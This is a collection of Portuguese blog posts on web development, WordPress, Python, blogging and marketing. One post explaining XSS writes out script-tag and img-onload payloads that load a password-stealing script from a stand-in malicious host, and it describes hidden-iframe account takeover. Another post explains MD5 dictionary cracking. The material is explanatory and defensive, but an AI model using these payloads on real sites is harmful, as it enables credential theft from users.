ClientSide: mostre seu código

Está lançado: clientside.com.br.

É um site para falar sobre Javascript, Ajax, CSS, XHTML[bb]. Mas não é um site para opinião e recomendações, é um lugar para você ler sobre código, ler código, e colaborar. O site é aberto ao cadastro e colaboração dos usuários, embora todos os artigos devam ser aprovados pelos editores. Entenda a política do site.

Se você já possui um blog ou site sobre o assunto, pode publicar seus artigos em seu próprio site e apenas um link com um breve comentário no ClientSide. Só não faça isso com cada um dos seus posts, apenas com os melhores. Não é um agregador. Se fosse, eu teria feito para funcionar sozinho. É um site onde você vai ler conteúdo especial, focado no assunto, que foi selecionado por seres humanos de um jeito que as máquinas (ainda) não sabem fazer.

Eu no [o – ] taligado, sobre startups

Logo que saiu o piloto do [o – ] taligado, eu publiquei aqui meus elogios. E não é que o Marco Gomes me convidou para participar da primeira edição? Está no ar: Edição 01, sobre Startups, com esse vosso humilde servo.

Eu, descaradamente, aproveitei a oportunidade para perguntar para o Marco e o Gilberto tudo aquilo que eu tinha vontade de saber 😉

E me diverti um bocado!

FUD: cuidado, o Google pode invadir seu blog!

Para começar, leia o trecho a seguir desta notícia na INFO Online:

Mas, quando tentou o Google, o especialista descobriu que serviço de publicação de blogs WordPress é vulnerável a pesquisas específicas. O site armazena dados como hashes MD5, que podem conter senhas, de uma maneira visível ao buscador. Bastaria informar um trecho do algoritmo para encontrar dados relacionados ao usuário e suas senhas.

Uau, belo trabalho jornalístico esse hein? Espalhando o medo. Imagine a reação de um leigo, que tenha um um blog WordPress, ao ler essa pérola da desinformação. Não parece, lendo esse texto, que o WordPress tem uma seríssima falha de segurança[bb] que pode ser explorada usando o Google? Que se alguém “informa um trecho do algoritmo” vai descobrir uma porção de dados seus? Bom, fui ao site do sujeito e li o artigo em que ele explica como quebrou a senha.

O que aconteceu é que o WordPress do tal Murdoch foi invadido por um cracker, que criou uma conta de usuário. O WordPress guarda suas senhas em um formato chamado MD5, um formato de criptografia que transforma qualquer senha num hexadecimal de 32 caracteres, assim:

  • “Sylar” = 7bef5e9683a92c37a266283bf229c2e8
  • “Cap. Nascimento” = 40a4b69d3132bd562dc03e2de30fda3e
  • “Pat Morita” = 261f3880c4eab23075356dbc6b5befc3

O WordPress faz isso para proteger você. Se alguém invadir seu blog, mesmo assim não vai descobrir sua senha. Então o Murdoch não tinha a senha do sujeito que invadiu o blog dele, tinha apenas o texto “20f1aeb7819d7858684c898d1e98c1bb”. O jeito comum de se descobrir essa senha é o chamado ataque de dicionário. Você consegue um enorme dicionário de palavras e nomes comuns, e faz um programa que converte cada um deles para MD5. Se, ao converter algum, você encontrar o tal texto “20f1…”, pronto, você descobriu qual é a senha.

O problema é que esses ataques levam tempo, pois o computador tem que processar milhões de palavras. E se a senha não for uma palavra comum do dicionário, ela não vai ser encontrada. Assim, “banana” vai ser encontrada, mas “Xbanana43” não. Acontece que palavras muito, muito comuns, como “banana”, ou nomes de pessoas, provavelmente já tem seu hash MD5 publicados em alguma página na web. E, se está publicado, o Google encontra. Por exemplo, procure pelo MD5 de banana.

Então, ao procurar o MD5 da senha do invasor, o Murdoch achou páginas como essa aqui, uma lista de pessoas chamadas “Anthony”. Ele resolveu tentar então “Anthony” como senha, e funcionou.

Perceba que isso não torna o WordPress mais vulnerável, porque a senha ia ser descoberta de qualquer maneira, só ia levar um pouco mais de tempo. E para fazer isso, o sujeito tem que ter acesso ao banco de dados com as senhas. Ou seja, já tem que ter invadido o sistema.

Foi só isso. Não há nenhuma vulnerabilidade no WordPress que, se alguém vai ao Google e “informa um trecho do algoritmo”, vai descobrir seu CPF e número de cartão de crédito. Aliás, será que esse repórter sabe o que significa “algoritmo[bb]“? Aprendi quando era criança, quando minha mãe ouviu meu primeiro palavrão, que gente não devia usar palavras que a gente não sabe o que significa.

Você que usa WordPress, não precisa se desesperar. Só não use senhas óbvias, não acredite em tudo o que você lê por aí e não entre em pânico.

Update: leita também A Web e o problema das senhas “clear text”, do Osvaldo Santana

Retornando o último número (script Python)

Meu amigo DGmike publicou: Retornando o último número (script PHP)

Como eu acho interessante comparar soluções em linguagens diferentes, resolvi escrever o mesmo script em Python[bb]. Veja como ficou:

import re
def ultimoNumero(string):
    return re.findall(r"\d+",string)[-1]

Gostou?

Oficina de WordPress Visie

Momento Jabá:

Oficina de WordPress Visie: WordPress é a mais poderosa ferramenta de blogging da atualidade. É a ferramenta usada em todos os blogs aqui da Visie, e em boa parte dos blogs[bb] mais populares do Brasil e do mundo. Extremamente simples de usar, facilmente configurável e poderosamente extensível, WordPress ainda por cima é open source e completamente gratuito.

WordPress é a ferramenta por trás desse blog. A idéia da oficina nasceu numa conversa com o Juliano Spyer, no Blogcamp. Teremos um dia para quem quer aprender o básico de WordPress para, por exemplo, criar seu próprio blog, um dia para designers, falando de temas para WordPress e um dia para programadores em que vamos construir plugins e ferramentas que se integrem ao WordPress.

Intercon 2007: ninguém compra essa coisa de site

Ao final de minha palestra[bb], em que falei de métodos, práticas e ferramentas para a produtividade, padrões web e acessibilidade, o grande Manoel Netto, do Tecnocracia, me fez aquela pergunta que todos já estamos cansados de ouvir, mas é importantíssima:

Como fazer com que o cliente pague por padrões web, acessibilidade e toda essa qualidade, quando há gente por aí desenvolvendo sites[bb] a R$ 70,00?

Há dois pontos importantes aqui. O primeiro é que nem todo mundo precisa realmente de um site. O seu José da quitanda da esquina talvez não precise realmente de um site. Pode ser que isso venha a mudar num futuro próximo, e estou à disposição para revisar esse artigo, mas hoje talvez parte do problema seja que você está tentando vender um site para alguém que realmente não precisa de um. Esse ponto nos leva a um próximo:

Ninguém está interessado em comprar esse negócio de site aí. Ninguém compra site. Se você vende site, está vendendo alguma coisa que ninguém quer comprar, e seus clientes vão achar caro mesmo. Ninguém compra site, ninguém compra sistema, ninguém compra e-commerce. Pronto falei. Sabe o que se passa na cabeça do seu cliente quando você oferece a ele um e-commerce por, digamos*, R$ 25.000,00?

“Por esse dinheiro eu coloco dois operadores de telemarketing para trabalhar aqui por um ano.”

“Hmmm, é o preço de uma boa reforma na frente da minha loja.”

“Por que eu deveria pagar por isso mesmo?”

Padrões web, usabilidade, acessibilidade, Ajax, tudo isso tem um custo, mas não é isso que seu cliente compra. No caso de nosso e-commerce hipotético, ele está comprando um vendedor. Um vendedor que trabalha 24 horas por dia, que não vai ficar doente ou abrir um processo trabalhista, um vendedor que pode atender milhares de pessoas. É uma questão de números, R$ 25.000,00 pode ser muito barato se você puder mostrar a ele que vale a pena.

Mostre a seu cliente quanto dinheiro ele vai ganhar, ou quanto ele vai poupar. Dê a ele segurança disso, e ele vai achar seu preço barato. Por exemplo, do último e-commerce que você desenvolveu, qual a quantidade de visitas? Qual a taxa de conversão? Qual o ticket médio? Você faz idéia de quanto o seu cliente lucrou com o site?

Do último sistema de atendimento online que você fez, qual o grau de satisfação do usuário? Qual a eficiência do sistema comparado com o atendimento telefônico? Eficiência se mede em quantidade de clientes atendidos, em tempo de atendimento, etc.

Se você não tem números, seu cliente vai ter que decidir na base do palpite. Vai ser realmente difícil para ele escolher entre você e o sobrinho dos R$ 70,00. Mostre a ele porque ele deveria deixar de contrar mais dois vendedores ou reformar a frente da loja.

* Você provavelmente deve ter entendido que eu não estou dizendo que um e-commerce deva custar R$ 25.000,00. Esse é um preço hipotético. Um e-commerce pode custar R$ 2.500,00 ou R$ 250.000,00, e esse não é o nosso assunto aqui.

Café.com Blog: o que são blogs?

Acabo de chegar do Café.com Blog. O evento, promovido pela revista Bites, reuniu frente a frente executivos de Tecnologia de Informação de grandes empresas, empresários e outros engravatados com um interessantíssimo time de blogueiros[bb]. O evento foi interessante, mas o formato ainda pode melhorar bastante. O BlogCamp, por exemplo, foi muito mais interessante. Um evento sobre mídia social não pode começar com palestras do tipo “você fala, nós escutamos”, mesmo que as palestras tenham sido muito boas.

Depois das palestras conversei com alguns blogueiros e o clima era meio de “foi para isso que viemos aqui?” Na hora do bate-papo, o evento realmente começou a gerar algum valor, mas o tempo era muito escasso e a coisa toda ficou formal demais. Paciência, blogueiros. Uma coisa é pegar um sujeito que passa seus dias compartilhando informações no blog, no Twitter, no Facebook e jogá-lo numa desconferência. Outra é pegar o diretor de TI de uma empresa com 10.000 horas de PowerPoint no currículo e tentar fazê-lo colaborar.

Nas perguntas dos engravatados ficou claro que as empresas ainda não entenderam esse negócio todo. “Como me comunicar com blogs? Como vocês blogueiros vêem os blogs corporativos? etc.”

Bom, vamos do começo. O Edney disse no evento que começou seu site porque não aguentava mais seus amigos fazendo perguntas sobre informática. Esse é um exemplo fantástico. Um blogueiro é só isso, uma pessoa, que por qualquer motivo tem alguma coisa a dizer. Eu disse PESSOA, Pê – ê – ésse – ésse – ô – a!

Embora para o Edney seu blog possa ser um negócio, um emprego, um hobby ou qualquer outra coisa, para o resto do mundo é só isso: uma pessoa. Sabe aquele cara no seu prédio que conhece todo mundo? Conhece os vizinhos, conhece os porteiros, conhece os taxistas e o cara da padaria? O blogueiro é como esse cara, a única diferença é que um blogueiro como o Edney tem 3 milhões de vizinhos.

Imagine que você tenha um produto para vender, digamos, um desembaçador de espelho de banheiro. E vai convencer seus 10 vizinhos mais populares a falar do seu produto. Você os conhece, pessoalmente. Que estratégia você vai usar? Mandar um press-release a cada um deles? O blogueiro é como o seu vizinho. Não tem nenhuma obrigação de falar de você, e se resolver falar, não tem nenhuma obrigação de falar bem. E simplesmente não vai dar nenhuma atenção se achar que você está desperdiçando o tempo dele. Então se você não der a ele algo a respeito do qual vale a pena falar, ele simplesmente irá ignorá-lo. E se der algo muito ruim, ele pode achar que vale a pena falar mal sobre seu produto.

Quer saber de um segredo? As coisas sempre foram assim. Se você pegar os livros de marketing de 20 anos atrás vai encontrar bastante coisa sobre o poder do boca-a-boca. As pessoas sempre procuraram informações com o vizinho, com um amigo ou parente antes de comprar. O que acontecia de diferente é que no passado nem sempre o sujeito encontrava um amigo ou parente que possuía ou sequer se interessava pelos produtos que ele queria comprar. Era o caso do sujeito que queria uma boa máquina fotográfica, mas não tinha absolutamente ninguém próximo que entendesse de fotografia. Hoje, no melhor estilo long tail, você vai encontrar na web gente apaixonada por aquilo que é do seu interesse, sejam bromélias, espeleologia ou computação analógica.

Então vamos às perguntas

Como me comunicar com blogs?

Exatamente como com o seu vizinho. Como uma pessoa. Não tenho tempo de ouvir a ACME.com, mas a coisa vai ser diferente se o Marcelo, que é um cara muito legal, bem-humorado e inteligente, leitor do meu blog e de uma série de outros, e que por um acaso trabalha na ACME.com, tomar seu tempo para me escrever algo genial, que vale a pena ser passado adiante.

Ligue para o setor de atendimento de qualquer grande empresa de tecnologia para perguntar sobre um novo modelo de computador. Um que seja 0800, para que você não gaste seu dinheiro à toa. Preste atenção em como eles falam. Agora ligue para um bom amigo que trabalha na área, para pedir indicações de, sei lá, que computador comprar. Veja como ele fala.

Percebeu a diferença? Os caras do “Manifesto Cluetrain” dizem:

Conversações entre seres humanos parecem humanas. Elas são conduzidas em uma voz humana. As pessoas se reconhecem como tal pelo som desta voz.

Quer seja explicando ou reclamando, brincando ou séria, a voz humana é genuína. Ela não pode ser falsificada.

A vida corporativa nos ensina a vestir fantasias. Uma mãe de três filhos divorciada, dona-de-casa por opção, cinéfila, ciclista e artesã veste todas as manhãs sua fantasia de diretora executiva de multinacional. Lá ela não fala sobre seus filhos ou a última pedalada. Ela não conta piadas nem fala abertamente o que pensa como faz fora da empresa. Sua voz deixa de ser humana. É assim que as empresas estão falando com seus clientes, e é assim que estão tentando falar com os blogueiros.

Como vocês blogueiros vêem os blogs corporativos?

Depende. O que exatamente você chama de “blog corporativo[bb]“?

Tenho um amigo que trabalha na Microsoft. Sou usuário de Linux e, que me lembre, não uso atualmente nenhum produto da Microsoft. Mas, graças a nossas conversas (presenciais, não em blogs) sei bastante coisa sobre o que a empresa anda fazendo hoje em dia, inclusive algumas soluções muito, muito interessantes. Estou até propenso a escrever sobre algumas coisas.

Por que meu amigo conseguiu me falar dessas coisas todas? Porque ele é humano. Porque se eu digo que determinado produto não presta ele não responde com um “estamos fazendo o melhor para atendê-lo” ou qualquer outra coisa assim.

Quer ver só? Acesse o blog do Rexona. Você vai perceber que é só um clipping de notícias com um sistema de comentários. Não foi escrito por uma pessoa, foi escrito talvez por uma empresa, um frasco de desodorante ou quem sabe um atendente de telemarketing. A voz das pessoas é diferente daquilo. Pessoas tem um nome. “Rexona” não é nome de gente. Pessoas emitem opinião. Às vezes, até são engraçadas.

Os blogs não podem salvar seu produto ruim.

Tenho falado mal da Telefonica aqui neste blog. Atendem mal, e me deixaram de fora do Google CodeJam. Já falo mal deles há uns cinco anos, e esse site, por exemplo, está no ar há seis.

Se você fizer uma busca simples, vai descobrir que as reclamações são constantes. A qualidade do serviço e do atendimento não mudou nada nesses seis anos. O que você acha que as pessoas estão falando por aí, fora da internet, sobre a Telefônica? Converse com seus vizinhos. Não há nada que a Telefônica possa fazer para que eu e milhares de outros blogueiros falemos bem dela, a não ser melhorar o serviço.

Esta semana precisei novamente deles. Perdi horas ao telefone. Não é uma hipérbole, perdi horas literalmente. Se for falar da Telefônica, o que você acha que eu vou dizer?

Produto é marketing

Homens de marketing[bb], o trabalho de vocês tem mais a ver com operações, atendimento e a própria criação do produto. Voltem aos seus velhos manuais de marketing da faculdade, e vocês vão ver que tudo isso está lá dentro, esquecido. Criar o produto, dizer como ele deve ser, é uma atividade de marketing.

Você precisa de um produto que as pessoas, ao ver, pensem: “Uau! Preciso contar isso para alguém.” Pense no Skype, no iPod, no Nintendo Wii, no Gmail, no TiVo. Simplesmente não dá mais para falsificar isso, porque estamos todos conectados.

Tradutor Português-Portunhol

Falta uma semana para lo dia internacional de hablarse portuñol. Fica aqui minha contribuição ao ócio e falta do que fazer, fruto de uma tarde de feriado entediante: tradutor automático de sites português-portunhol. Você pode, por exemplo, ver este site traduzido para o portuñol[bb].

Tomara que você ache tão divertido de usar quanto eu achei construí-lo.

Blogroll

Eu tinha uma idéia a respeito de blogrolls que eu não costumava compartilhar: a de que eles fogem aos objetivos do site. Pensava que o sujeito chega a um site procurando pelo bom conteúdo que há ali, ou porque assina o RSS[bb], logo não vai ver o blogroll, ou porque estava procurando algo no Google e, chegando com um objetivo específico, não vai clicar a esmo em qualquer link que achar bonito. Não costumava compartilhar essa idéia porque era só um palpite, eu não tinha nenhuma certeza disso.

Bom, mudei de idéia. Tenho clicado em tantos links legais em blogrolls por aí, e descoberto tanta coisa interessante, que fui convencido da utilidade disso. Então agora temos um blogroll. Está em ordem randômica, pois foi o jeito mais justo. Só links em português, para que todos possam aproveitar. Boa leitura!

Vá de Metrô

Site novo: vademetro.com.br. De um aluno da Visie, Thomas Pomerancblum, o site é um excelente auxílio tanto para quem é de São Paulo[bb] e está procurando por alguma coisa perto do metrô quanto para quem chega de outras cidades e tem que se virar no metrô de São Paulo.

O Thomas citou o meu mini guia para o Metrô no blog do Vá de Metrô. Modéstia dele. O Vá de Metrô substitui com vantagens meu pequeno guia.

Ao encontrar um lugar você pode ver um roteirinho das estações, mostrando como chegar da estação onde você está, e um mapinha do Google Maps[bb] com o lugar onde você vai e a estação do Metrô mais próxima, para o trecho a pé. O projeto está começando, mas já é bastante útil. Acredito que eles vão apreciar bastante suas sugestões. Olha a Visie lá.

Dirty PHP Include, plugin para WordPress que faz include de arquivos PHP em seus posts

Para atender a um cliente, escrevi agora um pequeno plugin para WordPress[bb]. Você pode fazer download do plugin aqui:
https://elcio.com.br/download/dirtyinclude.zip (497 bytes)

Depois, basta descompactá-lo na pasta wp-content/plugins em seu diretório do WordPress. Tendo feito isso, acesse o administrador do WordPress, clique em “Plugins” (“Extensões” na versão em português) e ative o plugin. Pronto, está funcionando.

Para incluir um arquivo em um post basta, ao editar o post, escrever: [[[include:/caminho/ate/seu/arquivo.php]]] e o arquivo será incluído. O caminho é relativo ao diretório base do WordPress. Funciona tanto com o editor visual quanto com o editor de código. Atenção! Se você tem usuários não confiáveis, por exemplo, se permite que seus usuários se cadastrem e postem, não deve usar esse plugin. É perigoso…

Naturalmente, o plugin acaba de ser escrito e não foi exaustivamente testado. Se você tiver sugestões de melhorias ou achar bugs, por favor, avise.

Meus comentários:

  1. WordPress é fantástico! Essa API para a criação de plugins é fabulosa. É muito fácil escrever um plugin que faz bem seu trabalho sem atrapalhar todo o resto.
  2. Continuo não gostando de PHP, mas dá para trabalhar com isso. Se metade do código mundo a fora tivesse a qualidade do WordPress, já ajudaria muito.
  3. Vou dizer de novo: se você não sabe expressões regulares[bb], precisa aprender!

Falha no Password Manager do Firefox?

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager 😉

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

Calcule o poder de sua identidade online

Online Identity Calculator (beta)

Este site promete, através de um cálculo simples, mostrar se seus resultados no Google[bb] estão adequados aos seus objetivos profissionais. Uma maneira no mínimo curiosa de avaliar seu “marketing pessoal online”. Meu resultado:

Your online identity score is 9 out of a possible score of 10.
Congratulations. You are digitally distinct. This is the nirvana of online identity. Keep up the good work, and remember that your Google results can change as fast as the weather in New England.

Microsoft, Google e o poder da massa crítica

Está todo mundo por aí falando sobre:

  • Microsoft Surface, um computador-mesa realmente impressionante. Entre no site e veja alguns dos videozinhos que você vai entender.
  • Google Gears, uma extensão para Firefox/Internet Explorer que permite ao desenvolvedor web guardar dados locais, na máquina do usuário.
  • O Orkut agora permite que você cadastre feeds em seu perfil.

Quando olhei cada um desses lançamentos, tive a mesma reação: “Ah, grande coisa!”

Nenhuma dessas idéias é nova ou revolucionária. Começando pelo Surface, é uma coleção de idéias velhas. Já vimos parte delas implementada no iPhone e na maneira como o sujeito pode usar os dedos nele. A idéia de colocar um computador numa mesa ou permitir seu uso por mais de uma pessoa também não é nova. E a maquininha da Microsoft está saindo por 10 mil. Dólares.

O Google Gears merece um pouquinho de explicação antes de dizer que a idéia não é nova. O Gears tem três componentes importantes. O primeiro é um tipo de servidor proxy com cache local. É um pouquinho mais do que isso, mas no fim permite a uma aplicação web responder dados ao usuário uma única vez, e ele terá esses dados em sua própria máquina a partir daí. O segundo é um banco de dados local, que permite a uma aplicação web, por exemplo, funcionar offline. O terceiro é um mecanismo para fazer com que seus scripts possam ser executados em segundo plano, sem congelar o navegador. De verdade? Isso não é nem tão novo, nem tão revolucionário assim. Para o sujeito que está desenvolvendo um Gmail, pode fazer diferença. Mas para pequenas aplicações, ou mesmo as medianas, dessas que a gente desenvolve todo dia, tudo poderia ser resolvido com cookies e um pouquinho de inteligência, sem demandar a instalação de um plugin.

Por fim, os feeds no Orkut. Aqui a experiência de quem esperava algo realmente novo pode ser decepcionante. Leia os comentários do Charles Pilger sobre o assunto, por exemplo.

Apesar disso, há algo que pode realmente fazer diferença nesse tipo de produto: massa crítica, quantidade de usuários, visibilidade. O Surface pode mostrar ao mundo a idéia nova. Talvez eu nunca venha a ter um Microsoft Surface, mas quem sabe eu daqui a algum tempo comecem a vender o XingLing Surface, o Itautec Surface ou o Positivo Surface? Tenho perguntado ao auditório, nos Encontros Locaweb, quem usa leitores de feeds e quem fornece RSS de qualquer maneira. Num público de desenvolvedores, o número de pessoas que levantam suas mãos é assombrosamente baixo. Imagino que entre os seres humanos comuns este números deve ser ainda menor. Feeds no Orkut podem ser um excelente recurso educativo. Isso pode fazer muita gente descobrir o RSS.

Em relação ao Gears, assim como em relação ao Silverlight, que não está na lista acima porque já tem um tempo, acontece algo curioso. Quem teria coragem de apostar hoje numa tecnologia que exige a instalação de um plugin para que seu site seja usado? Se fosse qualquer empresa pequena que estivesse lançando um desses produtos, ele logo seria descartado como algo ridículo. Mas todo mundo tem suas em relação ao poder de empresas como a Microsoft ou o Google de fazer com que as pessoas instalem algo em suas máquinas.

Em suma, quando você tem metade da Internet usando seus produtos, as regras podem ser diferentes para você. E quando você lança um Google Notebook ou um Zune, as pessoas parecem se esquecer muito rápido que você fracassou.

Em relação ao fato de não haver nenhuma novidade nesses produtos, vale lembrar o que diz o Getting Real: uma boa idéia não vale quase nada, o que vale mesmo é uma boa execução. Embora o Surface não seja novo, parece pelos vídeos que foi executado de maneira exímia.

E, claro, a história dos computadores mostra que nem sempre os melhores vencem. Nada de certezas, por enquanto.

Links interessantes:

Python X Java X Smalltalk

Achei muito interessante este artigo comparando a sintaxe de Smalltalk com Java. Implementei os mesmos exemplos em Python, para que você possa comparar a sintaxe:

Problema: cálculo de fatorial

def factorialRecursive(n):
  if n<0:return 0
  if n==0:return 1
  return n*factorialRecursive(n-1)

Ou assim:

def factorialNonRecursive(n):
  if n<0:return 0
  return reduce(lambda a,b:a*b,[1]+range(1,n+1))

A recursividade pode parecer uma solução elegante, mas o consumo de memória é assombroso nesse caso, em qualquer linguagem. Calcular a fatorial de um número grande qualquer pode ser um problema com a recursividade. Por isso, prefira a versão não recursiva.

No novo Python 2.5 você pode fazer:

def fact(x): return (
  0 if x<0 else
  reduce(lambda a,b:a*b,[1]+range(1,x+1))
)

Aqui é difícil dizer qual é mais prática, Smalltalk ou Python. Você pode palpitar sobre qual é mais elegante, uma vez que as soluções são radicalmente diferentes, mas a escolha final é subjetiva.

Problema: imprimir os números de 1 a 10

Eu faria usando os recursos de programação funcional:

print "\n".join(map(str,range(1,11)))

Mas você pode preferir:

for i in range(1,11):
  print i

De qualquer maneira, ponto para o Python[bb] aqui.

Problema: trabalhando com Collections

l=[
  'Em Python,',
  'chamamos as',
  'collections',
  'de "listas"',
]
print "\n".join(l)

Aqui, indiscutivelmente, ponto para o Python.

Problema: mostrar os pares e ímpares entre 1 e 10

for i in range(1,11):
  print i,["is even","is odd"][i % 2]

Novamente, o Python ganha disparado.

Problema: invocar um método via Reflection

É bem fácil:

o=MyClass()
getattr(o,"showMessage")()

Aqui o páreo é duro, Python e Smalltalk correm cabeça-a-cabeça. Na minha opinição, Python ganha por um focinho.


PythonPara saber mais sobre Python recomendo o PythonBrasil.

Além disso, sou professor do Curso de Python da Visie.

A experiência de uso Linux

Sobre as grandes diferenças: Coisas que posso fazer em Linux e em windows não

Sobre as semelhanças (e as pequenas diferenças): Linux[bb] x Windows

Se você trabalha com internet, essa série deve interessá-lo:

Por falar nisso, no terceiro artigo dessa série o perguntou nos comentários:

Como você, vim do Windows/DreamWeaver para Linux/?(ainda). Gostei do
que vi no QuantaPlus, realmente é excelente, porém um das vantagens que
eu via ao usar o DreamWeaver com seu FTP era
o de ter sempre a certeza de pegar a última versão do programa e não
precisar me preocupar em enviar o arquivo certo e se está na última
versão. Eu abria o arquivo direto do ftp, ele baixava o último
(inclusive as dependências) abria na minha tela, eu editava (um ou mais
de um) salvava e o DreamWeaver já efetuava o Upload. Eu gostaria de
saber como é o seu procedimento agora. De repente eu também mudo e vejo
as vantagens. Sempre devemos estar aberto a aprender, né?

Tentei responder por lá, mas o sistema matemático parece funcionar com uma matemática diferente da minha. Então minha resposta vai aqui:

araujo,O Kate faz isso que você está querendo. Ele tem uma barra lateral de navegação em arquivos. Você pode adicionar um favorito ali no formato:

ftp://usuario:senha@servidor.com.br/pasta

Também suporta uma série de outros protocolos, como o sftp. Adicionando o favorito, é só clicar nele que o Kate lista os aruqivos e pastas. Clicando num arquivo o Kate abre diretamente do FTP, e se você salvar, salva direto lá também.

A dobradinha nautilus/gedit também torna isso transparente para você. Se você se conecta a um servidor de FTP pelo nautilus, pode clicar com o botão direito em qualquer arquivo e escolher “Abrir com Editor de Textos”. O nautilus também coloca o servidor de FTP como um dos caminhos possíveis nas caixas de abrir e salvar do gedit.

O que você faz de diferente quando não está na frente do computador?

O Nando me convidou para a brincadeira. Então lá vai:

Quando não estou na frente do computador, eu:

  • Assisto seriados com minha mulher e brinco com minha filha. É o que eu mais gosto de fazer. Se você está pensando “ah, isso não é diferente” é porque nunca nos viu brincando.
  • Toco gaita. Gaita cromática, na igreja. E de vez em quando canto. Com uma predileção especial por música a capella.
  • Cozinho. Quase sempre aos domingos. Quase sempre massa.
  • Jogo banco imobiliário. Jogo outras coisas também, mas nesse é difícil alguém ganhar de mim.

Já que abrimos para o off-topic pessoal, outras coisas curiosas a meu respeito:

  • Fiz magistério no segundo grau. Isso mesmo, você leu certo. Foi em Petrópolis, no IPAE. Uma das melhores coisas que fiz na vida foi ter ido estudar lá.
  • Cresci freqüentando o clube de desbravadores, no qual ainda colaboro esporadicamente como voluntário. Ali tive a oportunidade de fazer algumas coisas inesquecíveis da minha adolescência, como explorar cavernas, descer a Serra do Mar a pé, acender uma fogueira sem fósforos, e cozinhar nela minha própria comida, andar 80 km de bicicleta num dia, desfilar no sambódromo no 7 de setembro (já defilei segurando troféu, bandeira, marchando, tocando bumbo e trompete) e, o mais interessante de tudo, dormir ao relento.
  • Falo 33 idiomas diferentes. Mas as pessoas só entendem quando eu falo português. E eu só as entendo quando falam português.

Vou convidar para participar do jogo:

E agora voltamos a nossa programação normal